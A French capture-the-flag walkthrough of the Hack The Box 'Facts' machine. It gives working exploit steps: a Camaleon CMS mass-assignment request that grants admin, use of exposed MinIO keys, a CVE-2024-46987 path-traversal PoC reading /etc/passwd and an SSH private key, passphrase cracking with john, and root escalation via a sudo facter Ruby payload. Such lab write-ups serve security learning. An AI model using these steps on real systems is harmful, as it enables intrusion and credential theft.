
HTB Facts is a Easy Linux box featuring Camaleon CMS and MinIO. Gain admin access via open registration and a mass assignment vulnerability, then extract MinIO credentials from admin settings. Use CVE-2024-46987 path traversal to steal an SSH private key, crack its passphrase, and escalate to root by abusing sudo permissions on facter via GTFOBins.
Difficulté : Medium
OS : Linux
Mots-clés : Web, MinIO, Camaleon CMS, Contournement de chemin, SSTI, Élévation de privilèges
Commencez par un scan complet des ports TCP pour identifier les services ouverts.
nmap -p- --min-rate 5000 -T4 10.129.244.96
Résultats :
| Port | Service | Remarques |
|---|---|---|
| 22 | SSH | OpenSSH |
| 80 | HTTP | Nginx 1.26.3 (Ubuntu) |
| 54321 | Inconnu | Identifié comme MinIO |
Ajoutez la cible à /etc/hosts :
echo "10.129.244.96 facts.htb" >> /etc/hosts
La navigation vers http://facts.htb révèle un site de quiz construit sur Camaleon CMS (Ruby on Rails). Indicateurs clés :
_factsapp_session (session Rails)/assets/themes/camaleon_first/nginx/1.26.3 (Ubuntu)Énumérez le sitemap pour toutes les pages disponibles :
curl -s http://facts.htb/sitemap.xml
Chemins notables découverts :
/admin → redirige vers /admin/login/rss/animal-ejected, /anne-frank, etc.Vérifiez le panneau de connexion admin :
curl -v http://facts.htb/admin
# → redirection 302 vers /admin/login
En sondant le port inconnu avec curl, on découvre MinIO, un service de stockage d'objets compatible S3 :
curl -v http://facts.htb:54321
Réponse :
<Error>
<Code>AccessDenied</Code>
<Message>Access Denied.</Message>
</Error>
Les en-têtes confirment : Server: MinIO
Énumérez les noms de buckets potentiels (tous renvoient 403, confirmant leur existence) :
for bucket in facts backup uploads media files images data private secret admin internal; do
code=$(curl -s -o /dev/null -w "%{http_code}" http://facts.htb:54321/$bucket)
echo "$bucket: $code"
done
Tous renvoient 403 Forbidden — les buckets existent mais nécessitent des identifiants.
À partir des chemins des ressources et du cookie de session, le CMS est identifié comme Camaleon CMS.
Vérifiez les vulnérabilités connues :
searchsploit camaleon
Résultats :
Camaleon CMS v2.7.0 - Server-Side Template Injection (SSTI) | ruby/webapps/51489.txt
La version du panneau d'administration est confirmée comme 2.9.0 (visible dans le pied de page après connexion).
La page de connexion admin à http://facts.htb/admin/login inclut un lien "Créer un compte". Enregistrez un nouveau compte :
http://facts.htb/admin/users/sign_uptest123 / test123)ClientAprès l'enregistrement, connectez-vous au tableau de bord admin. Le compte a des privilèges Client limités.
Camaleon CMS est vulnérable à une attaque d'assignation en masse sur le point de terminaison de changement de mot de passe. En interceptant la requête de changement de mot de passe et en injectant un paramètre password[role], un attaquant peut élever son propre rôle à admin.
Étapes avec Burp Suite :
Client.Profile → Edit → Change Password.&password[role]=admin au corps de la requête :_method=patch&authenticity_token=<TOKEN>&password%5Bpassword%5D=test123&password%5Bpassword_confirmation%5D=test123&password[role]=admin
200 OK.Le compte a maintenant des privilèges admin, donnant un accès complet au panneau d'administration du CMS, y compris Settings, Media, et Filesystem Settings.
Avec un accès admin, naviguez vers :
Settings → General Site → Filesystem Settings
La page révèle des identifiants MinIO (compatibles AWS S3) codés en dur :
AWS S3 Access Key: AKIA59D605615FFC8875
AWS S3 Secret Key: O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt
AWS S3 Bucket Name: randomfacts
AWS S3 Region: us-east-1
AWS S3 Endpoint: http://localhost:54321
Configurez AWS CLI et énumérez les buckets :
export AWS_ACCESS_KEY_ID='AKIA59D605615FFC8875'
export AWS_SECRET_ACCESS_KEY='O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt'
export AWS_DEFAULT_REGION='us-east-1'
aws s3 ls --endpoint-url http://facts.htb:54321
Buckets découverts :
2025-09-11 internal
2025-09-11 randomfacts
Le bucket internal contient le répertoire personnel de l'utilisateur trivia :
aws s3 ls s3://internal/ --endpoint-url http://facts.htb:54321
aws s3 ls s3://internal/.ssh/ --endpoint-url http://facts.htb:54321
# Download the SSH private key
aws s3 cp s3://internal/.ssh/id_ed25519 ./id_ed25519 --endpoint-url http://facts.htb:54321
Alternativement, la clé privée SSH peut être récupérée via CVE-2024-46987, une vulnérabilité de contournement de chemin authentifié dans Camaleon CMS qui permet de lire des fichiers arbitraires du serveur.
Clonez le PoC public :
git clone https://github.com/Goultarde/CVE-2024-46987
cd CVE-2024-46987
Lisez les fichiers sensibles :
# Step 1: Read /etc/passwd to enumerate system users
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /etc/passwd
Sortie (lignes pertinentes) :
trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash
Deux utilisateurs sont identifiés : trivia et william. Puisque trivia a un shell de connexion et un répertoire personnel, vérifiez la présence d'une clé privée SSH :
# Step 2: Read trivia's SSH private key
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /home/trivia/.ssh/id_ed25519
Enregistrez la sortie de la clé dans un fichier :
chmod 600 id_ed25519
La clé privée SSH est chiffrée avec une phrase de passe. Utilisez ssh2john et john pour la craquer :
ssh2john id_ed25519 > ssh.hash
john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt
Phrase de passe craquée : dragonballz
ssh -i id_ed25519 [email protected]
# Enter passphrase: dragonballz
Récupérez le flag utilisateur :
cat /home/william/user.txt
Vérifiez les privilèges sudo pour l'utilisateur trivia :
sudo -l
Sortie :
User trivia may run the following commands on facts:
(ALL) NOPASSWD: /usr/bin/facter
L'utilisateur peut exécuter /usr/bin/facter en tant que root sans mot de passe. facter est un outil d'information système basé sur Ruby.
Selon GTFOBins, facter peut charger des fichiers de faits Ruby personnalisés via --custom-dir, qui sont exécutés en tant qu'utilisateur appelant (root dans ce cas).
Exploitation :
# Create exploit directory and Ruby payload
mkdir -p /tmp/exploit_facts
cat > /tmp/exploit_facts/evil.rb << 'EOF'
system("chmod +s /bin/bash")
EOF
# Execute facter as root with the custom directory
sudo /usr/bin/facter --custom-dir=/tmp/exploit_facts/ x
# Verify SUID bit is set on bash
ls -la /bin/bash
# -rwsr-sr-x 1 root root ...
# Spawn root shell
/bin/bash -p
whoami
# root
cat /root/root.txt
| Drapeau | Emplacement |
|---|---|
| user.txt | /home/william/user.txt |
| root.txt | /root/root.txt |
Scan Nmap
↓
Port 80 : Camaleon CMS 2.9.0
↓
Enregistrer un compte Client → Panneau admin
↓
Assignation en masse : password[role]=admin → Rôle admin
↓
Paramètres admin → Identifiants MinIO exposés
↓
CVE-2024-46987 : Contournement de chemin → Lecture de /home/trivia/.ssh/id_ed25519
↓
ssh2john + John → Phrase de passe : dragonballz
↓
Connexion SSH en tant que trivia
↓
sudo facter --custom-dir (GTFOBins) → chmod +s /bin/bash
↓
/bin/bash -p → root
| CVE | Description |
|---|---|
| CVE-2024-46987 | Contournement de chemin authentifié Camaleon CMS / lecture arbitraire de fichiers |
| CVE-2023-30145 | SSTI Camaleon CMS v2.7.0 via paramètre formats (non utilisé dans cette boîte) |